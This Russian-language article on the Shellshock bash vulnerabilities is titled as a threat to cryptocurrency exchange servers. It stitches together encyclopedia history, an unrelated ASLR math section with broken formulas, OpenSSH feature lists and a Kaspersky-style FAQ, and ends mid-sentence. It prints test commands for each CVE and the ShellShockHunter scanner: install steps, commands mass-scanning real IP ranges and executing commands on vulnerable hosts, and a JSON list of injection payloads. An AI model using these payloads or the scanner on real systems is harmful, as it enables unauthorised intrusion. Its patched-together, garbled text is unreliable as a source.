ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи


В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGIскриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера.

Shellshock — это не что иное, как уязвимость удаленного выполнения кода в bash. Это связано с тем, что bash неправильно выполняет завершающие команды при импорте определения функции, хранящегося в переменной среды.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

GitHub


BugShellshock влияет на Bash. Bash — это программа, которую различные системы на базе Unix используют для выполнения командных строк и командных сценариев. Баг была обнаружена 5 августа 1989 года и выпущена в версии Bash 1.03 1 сентября 1989 года. Shellshock — это уязвимость повышения привилегий, которая дает пользователям системы возможность выполнять команды, которые должны быть для них недоступны.

Уязвимости заключаются в том, что Bash вопреки задекларированным возможностям производит исполнение команд при получении некоторых нестандартных значений переменных окружения (environment). За несколько дней после публикации оригинальной уязвимости было обнаружено несколько сходных ошибок, что не позволило оперативно издать версию с исправлениями.

Stéphane Chazelas

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Изначальная ошибка была обнаружена Стефаном Шазеля  (фр. Stéphane Chazelas) 12 сентября 2014 года, который предложил назвать её «bashdoor» (созвучно backdoor). Уязвимость получила в базе MITRE номер CVE-2014-6271 и оставалась неопубликованной (находилась под эмбарго) до 14 часов по UTC 24 сентября. Цель вышеуказанного ограничения заключалась в том, что авторы программы, создатели дистрибутивов и иные заинтересованные организации получили время принять необходимые меры.

Анализ исходного кода Bash свидетельствует, что уязвимость была заложена в код приблизительно в версии 1.13 в 1992 году или ранее и с тех пор оставалась необнаруженной среди общей публики и незадекларированной. Группа авторов Bash затрудняется в определении точного времени внедрения ошибки из-за недостаточно подробной истории изменений (changelog).

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant

25 сентября 2014 года на базе уязвимости уже были созданы ботнеты для проведения DoS- и DDoS-атак, а также для сканирования уязвимостей. Предполагается, что уязвимы миллионы систем. Ошибка получила максимальную оценку по шкале опасности и сравнивается по значению с Heartbleed — ошибкой в OpenSSL (апрель 2014)

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Уязвимость Shellshock (bashdoor) относится к программе bash (разрабатывается в рамках проекта GNU), используемой во множестве Unix-подобных операционных систем и дистрибутивов в качестве интерпретатора командной строки и для исполнения командных скриптов. Часто устанавливается в качестве системного интерпретатора по умолчанию.

В Unix-подобных и других поддерживаемых bash операционных системах каждая программа имеет список пар имя-значение, называемый переменными среды (англ. environment variable). Когда одна программа запускает другую, то также передается изначальный список переменных среды. Кроме переменных среды, bash также поддерживает внутренний список функций — именованных скриптов, которые могут вызываться из исполняемого скрипта bash. При запуске новых экземпляров bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс. Определения функций экспортируются путём кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок (), за которыми следует определение функции в виде строки. Новые экземпляры bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции. Данное преобразование проводится путём создания фрагмента bash-кода на базе значения переменной среды и его исполнения, то есть «на лету» (англ. on-the-fly). Подверженные уязвимости версии bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции. Таким образом, если злоумышленник имеет возможность подать произвольную переменную среды в запуск bash, то появляется возможность исполнения произвольных команд.

27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс при их преобразовании в переменные окружения и обратно[15].

В тот же день, когда была опубликована информация об оригинальной уязвимости и патчи, исправляющие её, Tavis Ormandy обнаружил новую родственную ошибку CVE-2014-7169. Обновлённые исправления стали доступны 26 сентября.

Во время работы над исправлением оригинальной ошибки Shellshock, исследователь компании Red Hat, Florian Weimer обнаружил ещё две ошибки: CVE-2014-7186 и CVE-2014-7187.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

26 сентября 2014 два разработчика open-source, David A. Wheeler и Norihiro Tanaka заметили, что существуют дополнительные проблемы, всё ещё не исправленные патчами, доступными на тот момент. В своём электронном письме в почтовые списки рассылок «oss-sec» и «bash bug» Wheeler писал:

Этот патч лишь продолжает работы типа «прибей крота» (whac-a-mole) по исправлению различных ошибок разбора, начатый первым патчем. Парсер bash конечно же содержит много много много других уязвимостей.

27 сентября 2014, Michal Zalewski анонсировал, что обнаружил несколько других ошибок в bash, одна из которых использует то, что bash часто компилируется без использования техники защиты ASLR (Address Space Layout Randomization). Zalewski также призвал срочно применить патч от Florian Weimer.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Рандомизация адресного пространства препятствует некоторым типам атак на безопасность, усложняя злоумышленнику предсказание целевых адресов. Например, злоумышленники, пытающиеся выполнить атаку с возвратом в библиотеку[Return-to-libc_attack], должны найти код, который будет выполнен, в то время как другие злоумышленники, пытающиеся выполнить Shellcode, внедренный в стек, должны сначала найти стек. В обоих случаях система скрывает от злоумышленников соответствующие адреса памяти. Эти значения необходимо угадать, а ошибочное предположение обычно невозможно исправить из-за сбоя приложения.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Рандомизация макета адресного пространства основана на низкой вероятности того, что злоумышленник угадает расположение случайно расположенных областей. Безопасность повышается за счет увеличения пространства поиска. Таким образом, рандомизация адресного пространства более эффективна, когда в случайных смещениях присутствует большая энтропия . Энтропия увеличивается либо за счет увеличения объема области виртуальной памяти , в которой происходит рандомизация, либо за счет уменьшения периода, в течение которого происходит рандомизация. Период обычно реализуется как можно меньшим, поэтому большинство систем должны увеличить рандомизацию пространства VMA.

Чтобы обойти рандомизацию, злоумышленники должны успешно угадать позиции всех областей, которые они хотят атаковать. Для таких областей данных, как стек и куча, куда можно загрузить собственный код или полезные данные, можно атаковать более одного состояния с помощью слайдов NOP для кода или повторяющихся копий данных. Это позволяет атаке добиться успеха, если область рандомизирована по одному из нескольких значений. Напротив, такие области кода, как база библиотеки и основной исполняемый файл, должны быть точно обнаружены. Часто эти области смешиваются, например, в стек вставляются кадры стека , а в него возвращается библиотека.

The following variables can be declared:

  • {\displaystyle E_{s}}E_{s} (entropy bits of stack top)
  • {\displaystyle E_{m}}E_{m} (entropy bits of mmap() base)
  • {\displaystyle E_{x}}E_x (entropy bits of main executable base)
  • {\displaystyle E_{h}}E_{h} (entropy bits of heap base)
  • {\displaystyle A_{s}}A_s (attacked bits per attempt of stack entropy)
  • {\displaystyle A_{m}}A_{m} (attacked bits per attempt of mmap() base entropy)
  • {\displaystyle A_{x}}A_x (attacked bits per attempt of main executable entropy)
  • {\displaystyle A_{h}}A_h (attacked bits per attempt of heap base entropy)
  • {\displaystyle \alpha }\alpha  (attempts made)
  • {\displaystyle N}N (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}{\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,})

Чтобы вычислить вероятность успеха злоумышленника, мы должны предположить, что количество попыток α было выполнено без прерывания сигнатурной IPS, правоохранительными органами или другим фактором; в случае брутфорса демон не может быть перезапущен. Нам также необходимо выяснить, сколько бит имеет значение и сколько подвергается атаке при каждой попытке, оставляя столько битов, которые атакующий должен победить.

Следующие формулы представляют вероятность успеха для данного набора α -попыток на N битах энтропии.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Во многих системах{\displaystyle 2^{N}}2^Нмогут исчисляться тысячами или миллионами; в современных 64-битных системах эти числа обычно достигают как минимум миллионов, Hector Marco-Gisbert and Ismael Ripoll показали в 2014 году, как обойти ASLR в 64-битных системах менее чем за одну секунду при определенных обстоятельствах.  

On the Effectiveness of Full-ASLR on 64-bit Linux

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Для 32-битных систем на компьютерных скоростях 2004 года, которые имеют 16 бит для рандомизации адресов, Шачам и его коллеги утверждают, что «… 16 бит рандомизации адресов можно преодолеть с помощью грубой атаки Brute-force attack за считанные минуты».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

  Заявление авторов зависит от возможности атаковать одно и то же приложение несколько раз без каких-либо задержек. Правильные реализации ASLR, например, включенные в grsecurity, предоставляют несколько способов сделать такие атаки методом перебора невозможными. Один из методов предполагает предотвращение выполнения исполняемого файла в течение настраиваемого периода времени, если он произошел сбой определенное количество раз.

Android,  и, возможно, другие системы, реализовать рандомизацию порядка загрузки библиотек — форму ASLR, которая рандомизирует порядок загрузки библиотек. Это обеспечивает очень небольшую энтропию. Ниже приведено приблизительное количество бит энтропии, предоставленной для каждой необходимой библиотеки; это еще не учитывает различные размеры библиотек, поэтому фактическая полученная энтропия действительно несколько выше. Обратите внимание, что злоумышленникам обычно нужна только одна библиотека; математика более сложна с несколькими библиотеками и также показана ниже. 

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Обратите внимание, что случай, когда злоумышленник использует только одну библиотеку, представляет собой упрощение более сложной формулы:

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Эти значения имеют тенденцию быть низкими даже для больших значений l , что наиболее важно, поскольку злоумышленники обычно могут использовать только стандартную библиотеку C , и поэтому часто можно предположить, что{\displaystyle \beta \,=1}\бета \,=1. Однако даже для небольшого количества библиотек здесь можно получить некоторый выигрыш в энтропии; Таким образом, потенциально интересно объединить рандомизацию порядка загрузки библиотеки со рандомизацией адресов VMA, чтобы получить несколько дополнительных бит энтропии. Обратите внимание, что эти дополнительные биты энтропии не будут применяться к другим сегментам mmap(), а только к библиотекам.

Уменьшение энтропии:


Список уязвимостей:

CVE-2014-6271

Оригинальный bashdoor: переменная окружения специального вида состоит из определения экспортируемой функции, за которым следуют произвольные команды. Bash уязвимых версий исполняет эти произвольные команды во время своего запуска. Пример ошибки:env x='() { :;}; echo Уязвим’ bash -c “echo Тестовая печать”

В уязвимых системах этот тест напечатает фразу «Уязвим», выполнив команду из переменной окружения x.

CVE-2014-6277

На 29 сентября детали уязвимости публично не раскрывались.

CVE-2014-6278

На 29 сентября детали уязвимости публично не раскрывались.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

CVE-2014-7169

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Обнаружено Tavis Ormandy во время работы над CVE-2014-6271:

env X='() { (a)=>\' sh -c "echo date"; cat echo

Тест приводит к тому, что «echo» становится именем файла для перенаправления вывода, а «date» исполняется. Ошибка получила номер CVE-2014-7169.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Пример ошибки 7169 на системе, получившей исправление ошибки CVE-2014-6271 но не ошибки CVE-2014-7169:[32]$ X='() { (a)=>\’ bash -c “echo date” bash: X: line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014

Исправление обеих ошибок CVE-2014-6271 и CVE-2014-7169 приведет к неработоспособности теста:$ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

CVE-2014-7186

Ошибка вызвана сходными проблемами в коде Bash однако воздействует с помощью многократного повторения “<<EOF”Тестbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Уязвим по CVE-2014-7186, redir_stack” Уязвимая система отобразит текст “Уязвим по CVE-2014-7186, redir_stack”.

CVE-2014-7187

Ошибка вызвана сходными проблемами в коде Bash, однако воздействует с помощью множественных повторений «done»Тест(for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “Уязвим по CVE-2014-7187, word_lineno” Уязвимая система отобразит текст «Уязвим по CVE-2014-7187, word_lineno».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи


Векторы атаки

В течение часа после публикации уязвимости Bash появились сообщения о взломе компьютерных систем с её помощью. 25 сентября были подтверждены различные атаки «in the wild», начиная с простых DoS, заканчивая развёртыванием серверов command & control через зловредную систему «BASHLITE».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Корпорация Kaspersky Labs сообщала, что некоторые из зараженных компьютеров начали атаку DDoS против трех целей[8]. 26 сентября был обнаружен ботнет «wopbot», составленный из серверов, зараженных через bashdoor, и используемый в DDoS против CDN Akamai Technologies и для сканирования сетей Министерства обороны США[7].

Существует несколько потенциальных путей, которыми атакующий может воспользоваться для передачи произвольных переменных окружения в bash, исполняемый на атакуемом сервере:

CGI-атака на веб-сервера блокчейна Биткоин.

Веб-сервера, исполняющие скрипты Common Gateway Interface (CGI) передают подробности о пользовательском запросе через переменные окружения, например HTTP_USER_AGENT. Если запрос обрабатывается программой Bash, либо другой программой, которая внутри себя вызывает bash, то атакующий может подменить передаваемую по http строку User-Agent на триггер атаки Shellshock, добавив свои команды. Например, в качестве такой команды может подаваться инструкция «ping» с адресом атакующего. По входящим ping-запросам атакующий узнает, сработала ли атака.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Несмотря на то, что CGI — устаревший интерфейс, обладающий и другими рисками безопасности[37], он всё ещё используется. Например, уязвим один из стандартных скриптов cPanel[38], по оценкам уязвимый cPanel может использоваться на 2—3 % веб-сайтов[39].

Атака на SSH-сервер

SSH-сервер OpenSSH позволяет ограничивать пользователя фиксированным набором доступных команд (опция «ForceCommand»). Фиксированная команда исполняется даже если пользователь запросил исполнение иной команды. Запрошенная команда в этом случае сохраняется в переменной среды «SSH_ORIGINAL_COMMAND». Если фиксированная команда исполняется в интерпретаторе Bash shell (если пользовательский интерпретатор установлен в Bash), GNU Bash обнаружит заложенные в среду значения SSH_ORIGINAL_COMMAND при запуске, и, в случае уязвимости перед Bashdoor, исполнит встроенные туда команды. Таким образом атакующий с доступом лишь к ограниченной оболочке получает неограниченный доступ[3].

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Набор OpenSSH содержит следующие компоненты:sshЗамена для rlogin и telnet.scpЗамена для rcp, использующая в современных версиях OpenSSH протокол SFTP (ранее использовался менее надёжный и гибкий SCP).sftpЗамена для FTP-клиента, использующая протокол SFTP.sshdДемон, собственно предоставляющий защищённый доступ к ресурсам. Включает реализацию серверной части SFTP, пригодную для организации chroot-доступа для пользователей без необходимости копирования каких-либо файлов внутрь chroot.sftp-serverОтдельная реализация подсистемы SFTP (серверная часть). Обладает бо́льшими возможностями, чем встроенная в sshd.ssh-keygenГенератор пар ключей.ssh-keysignУтилита для проверки ключей хостов. Задействуется при использовании аутентификации по хостам (аналогично rsh) вместо проводимой по умолчанию аутентификации по пользователям.ssh-keyscanВспомогательная утилита. Позволяет собирать публичные ключи с других хостов.ssh-agentВспомогательная утилита. Поддерживает кэш закрытых ключей. Кэширование позволяет избегать частого ввода пароля для расшифровки ключей перед их использованием.ssh-addВспомогательная утилита. Добавляет ключи в кэш ssh-agent.

Безопасные туннели

Перенаправление портов

Большинство программ для установления соединения используют протокол TCP, трафик которого можно передавать через безопасный туннель. Таким образом можно устанавливать множество дополнительных TCP-соединений поверх одного SSH-соединения. Это удобно для сокрытия соединений и шифрования протоколов, которые являются небезопасными, а также для обхода ограничений фаерволлов. UDP-соединения иногда тоже возможно туннелировать при помощи дополнительных программ, таких как netcat. Простыми для туннелирования являются такие протоколы как, например, HTTPPOP3 и VNC.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Перенаправление портов возможно в любую сторону.

Кроме того, некоторое ПО может автоматически использовать OpenSSH для создания туннеля. Например DistCCCVSrsync, и fetchmail.

Из протоколов, которые сложнее туннелировать, стоит отметить FTP, который часто можно заменить SFTP, и SMB. В некоторых операционных системах удаленные файловые системы можно монтировать через ssh используя shfslufs и другие аналогичные компоненты.

X Window System

OpenSSH позволяет безопасно организовывать подключения к X Window System с учётом «переворота» семантики: хост-клиент SSH для X Window System является сервером, и наоборот. Для этого OpenSSH осуществляет дополнительные операции вроде установки переменной окружения DISPLAY.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

SOCKS

OpenSSH возможно использовать как специальный SOCKS прокси сервер поддерживающий более гибкое проксирование, чем просто перенаправление портов.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

VPN

Начиная с версии 4.3, OpenSSH может использовать туннельные сетевые интерфейсы 2-го и 3-го уровней модели OSI (tun). Таким образом можно организовать защищённую VPN и обойтись без необходимости переделки приложений для поддержки SOCKS.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Аутентификация

OpenSSH сервер может аутентифицировать пользователей, используя встроенные механизмы аутентификации:

  • Публичные ключи,
  • Клавиатурный ввод (пароли и запрос-ответ),
  • Kerberos/GSS-API.

В дополнение OpenSSH Portable обычно может использовать методы аутентификации, доступные в конкретной операционной системе, например, BSD Authentication или PAM.

Атака на DHCP-клиент

DHCP-клиент обычно запрашивает IP адрес у DHCP-сервера. Однако сервер может послать несколько дополнительных опций, которые могут записываться в переменные среды и приводить к эксплуатации ошибки Shellshock на компьютере или ноутбуке, подключаемом к локальной сети.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Повышение привилегий через setuid программы

Программа с установленным битом setuid может вызывать bash непосредственно, либо косвенно при использовании системных вызовов system(3), popen и других, не сбрасывая при этом переменные окружения. Атака Shellshock в таких случаях позволит локальному пользователю повысить собственные привилегии до владельца подобной setuid программы, часто вплоть до root (суперпользователя).

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Уязвимость офлайн-систем

Ошибка потенциально может достичь систем, не подключённых к сети Интернет, во время офлайн-обработки с помощью bash.


Уязвимость CVE-2014-6271 («Bash») – это легко эксплуатируемая уязвимость, использование которой может привести к очень серьезным последствиям. Эксплуатируя эту уязвимость, атакующая сторона получает возможность выполнять команды системного уровня с такими же привилегиями, как и затронутые сервисы.

В большинстве случаев, встречающихся сейчас в интернете, киберпреступники удаленно атакуют веб-серверы, на которых размещены CGI –скрипты, написанные на языке bash.

В настоящее время уязвимость уже была использована киберпреступниками: уязвимые веб-серверы заражались вредоносным ПО, а также проводились хакерские атаки. Аналитики «Лаборатории Касперского» постоянно обнаруживают новые вредоносные образцы и случаи заражения с использованием данной уязвимости. Дополнительная информация об этом вредоносном ПО будет опубликована в ближайшее время.

Важно понимать, что данная уязвимость не привязана к конкретному сервису, такому как Apache или nginx. Скорее, это уязвимость интерпретатора командной оболочки bash, позволяющая атакующей стороне добавлять команды системного уровня к переменным среды bash.

Как эксплуатируется уязвимость?

Я постараюсь объяснить принцип эксплуатации уязвимости на тех примерах, которые даются в информационных сообщениях и опубликованном концептуальном коде. CGI-скрипт, размещенный на веб-сервере, автоматически читает определенные переменные среды, такие как IP-адрес, версия браузера и информация о локальной системе.

Теперь представьте себе, что есть возможность не только передать эту обычную системную информацию CGI-скрипту, но и поручить скрипту выполнение команд системного уровня. Это означает, что как только происходит обращение к CGI-скрипту, он считывает переменные вашей среды – без всякой регистрации на веб-сервере. Если переменные среды содержат строку эксплойта, скрипт также выполнит указанную вами команду.


ShellShockHunter Tool v1.0

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Shellshock (software bug)

Shellshock, также известный как Bashdoor, представляет собой семейство ошибок безопасности в оболочке Unix Bash, первая из которых была обнаружена 24 сентября 2014 года. Shellshock может позволить злоумышленнику заставить Bash выполнять произвольные команды и получить несанкционированный доступ ко многим интернет-файлам. сталкиваются со службами, такими как веб-серверы, которые используют Bash для обработки запросов.

GIT CLONE

git clone https://github.com/MrCl0wnLab/ShellShockHunter

INSTALLATION pip

pip install shodan
pip install ipinfo


                                 ,'/
                               ,' /
                             ,'  /_____,
                           .'____    ,'    
                                /  ,'
                               / ,'
                              /,'
                             /'
     ____  _     _____ _     _     ____  _      ___       _    
    / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
    \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
     ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
    |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
             __   _   _             _              __                  
            | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
            | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
            | |  |  _  | |_| | | | | ||  __/ |     | |                 
            | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
            |__|                                  |__| v1.0                
              By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
 
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help        show this help message and exit
  --file <ips.txt>  File targets
  --range <ip-start>,<ip-end>
                    Range IP Ex: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>
                    Command: uname -a
  --exec-vuln <command shell>
                    Executing commands on vulnerable targets
  --thread <10>, -t <10>
                    Eg. 20
  --check           Checker vuln
  --ssl             Set protocol https
  --cgi-file <cgi.txt>
                    Set file cgi
  --timeout <5>     Set timeout conection
  --all             Teste all payloads
  --debug           Set debugs

COMMAND:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

В чем уникальность этой уязвимости?

Данную уязвимость крайне легко эксплуатировать, что приводит к крайне тяжелым последствиям – не в последнюю очередь из-за количества уязвимых мишеней. Это касается не только веб-серверов, но и любого ПО, использующего интерпретатор bash и считывающего данные, которые вы можете контролировать.

В данный момент аналитики выясняют, затронуты ли в связи с этой уязвимостью другие интерпретаторы – PHP, JSP, Python и Perl. В зависимости от того, как  написан код, интерпретатор в некоторых случаях может использовать bash для выполнения ряда функций. В связи с этим эксплуатация уязвимости CVE-2014-6271 может быть осуществлена через другие интерпретаторы.

Эксплуатация уязвимости имеет серьезные последствия в силу того, что CGI-скрипты широко используются на многих устройствах: роутерах, бытовых устройствах и беспроводных точках доступа. Все они также уязвимы, причем закрыть уязвимость на них зачастую достаточно сложно.

PRINTS:

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи


Насколько широко эксплуатируется данная уязвимость?

На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами.

Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов. Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов. Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Как проверить, есть ли уязвимость в моей системе/вебсайте?

Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду:

1“env x='() { :;}; echo vulnerable’ bash  -c “echo this is a test”

Если оболочка возвращает строку «vulnerable», систему нужно обновить.

Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Как решить проблему?

В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки.

Если вы используете любую систему обнаружения и/или предотвращения вторжений, также рекомендуется добавить/загрузить сигнатуру для данной угрозы. Опубликовано множество публичных правил.

Наконец, проверьте конфигурацию вашего веб-сервера. Если имеются неиспользуемые CGI-скрипты, рассмотрите возможность их отключения.

{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Есть ли угроза для онлайн-банкинга?

Эксплуатация данной уязвимости широко применяется по отношению к серверам, размещенным в интернете. Уязвимы даже некоторые рабочие станции, работающие на Linux и OSX, однако киберпреступникам для проведения атаки необходимо найти вектор атаки, позволяющий удаленно использовать уязвимость на конкретной рабочей станции.

Данная угроза нацелена не на индивидуальных пользователей, а на серверы, размещенные в интернете. Это означает, что если, например, уязвим ваш любимый сайт электронной коммерции или онлайн-банкинга, то злоумышленники теоретически могут взломать сервер и получить доступ к вашим персональным данным, в том числе, возможно, и к банковской информации.

Пока сложно сказать определенно, какие платформы могут быть уязвимы и стать мишенью для атаки, но я бы рекомендовал не проводить платежи по кредитной карте и не делиться конфиденциальной информацией в сети в ближайшую пару дней, пока вирусные аналитики не прояснят ситуацию.

{
    "config": {
        "threads": 10,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

Как я могу определить, что стал мишенью для атаки с использованием этой уязвимости?

Мы рекомендуем просмотреть ваши HTTP-журналы и проверить, нет ли в них записей о подозрительной активности, например такой:

